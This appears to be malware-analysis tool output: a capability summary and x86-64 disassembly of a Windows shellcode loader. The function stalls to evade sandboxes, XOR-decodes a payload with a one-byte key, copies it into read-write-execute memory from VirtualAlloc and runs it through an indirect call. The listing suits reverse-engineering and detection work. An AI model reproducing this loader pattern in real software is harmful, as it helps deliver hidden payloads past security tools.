Function at 0x140001874
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
call fcn.14000d9d0
mov ecx, 0x1d4c0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov qword [rbp + 0xc8], 0
mov ecx, 0x11e1a300
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x140001b89
mov rax, qword [rbp + 0xc8]
mov r8d, 0x11e1a300
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call fcn.140018da0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400b67c0
lea rax, [rbp + 0x4f]
mov qword [rbp + 0xa0], rax
nop
nop
mov rdx, qword [section..data]
lea rcx, [rbp + 0x4f]
lea rax, [rbp + 0x20]
mov r8, rcx
mov rcx, rax
call fcn.1400bb0e0
mov rax, rbp
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.140001450
mov rdx, rbp
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400b68c0
mov rax, rbp
mov rcx, rax
call fcn.1400b6860
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400bb920
lea rax, [rbp + 0x4f]
mov rcx, rax
call fcn.1400abbe0
nop
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400b67c0
lea rax, [rbp + 0x97]
mov qword [rbp + 0x98], rax
nop
nop
mov rdx, qword [str.cg]
lea rcx, [rbp + 0x97]
lea rax, [rbp + 0x70]
mov r8, rcx
mov rcx, rax
call fcn.1400bb0e0
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.140001450
lea rdx, [rbp + 0x50]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400b68c0
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400b6860
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.1400bb920
lea rax, [rbp + 0x97]
mov rcx, rax
call fcn.1400abbe0
nop
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14002e560
cmp rax, 1
setne al
test al, al
je 0x140001a32
mov ecx, 0x10
call fcn.1400ce5e0
mov rbx, rax
lea rax, str.Key_must_be_a_single_byte.
mov rdx, rax
mov rcx, rbx
call fcn.1400a67d0
mov r8, qword [fcn.1400a6a20]
lea rax, [0x1400fa230]
mov rdx, rax
mov rcx, rbx
call fcn.1400cec60
lea rax, [rbp - 0x40]
mov edx, 0
mov rcx, rax
call fcn.1400b6900
movzx eax, byte [rax]
mov byte [rbp + 0xc7], al
movzx ecx, byte [rbp + 0xc7]
lea rax, [rbp - 0x60]
lea rdx, [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call fcn.14000161f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x11e1a300
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x140001acd
lea rax, str.Memory_allocation_failed.
mov rdx, rax
mov rax, qword [0x1400f7970]
mov rcx, rax
call fcn.1400cbcd0
mov rcx, rax
mov rax, qword [0x1400f79a0]
mov rdx, rax
call fcn.14008b0d0
mov esi, 1
mov ebx, 0
jmp 0x140001b3e
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14002e560
mov rbx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400b6760
mov rdx, rax
mov rax, qword [rbp + 0xb8]
mov r8, rbx
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14002e560
mov rdx, rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call fcn.140001797
mov rax, qword [rbp + 0xb8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400b6860
cmp ebx, 1
jne 0x140001b56
mov ebx, 1
jmp 0x140001b5b
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400b6860
cmp ebx, 1
jne 0x140001b73
mov ebx, 1
jmp 0x140001b78
mov ebx, 0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400b6860
cmp ebx, 1
jne 0x140001b8e
mov esi, 0
mov eax, esi
jmp 0x140001d66
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret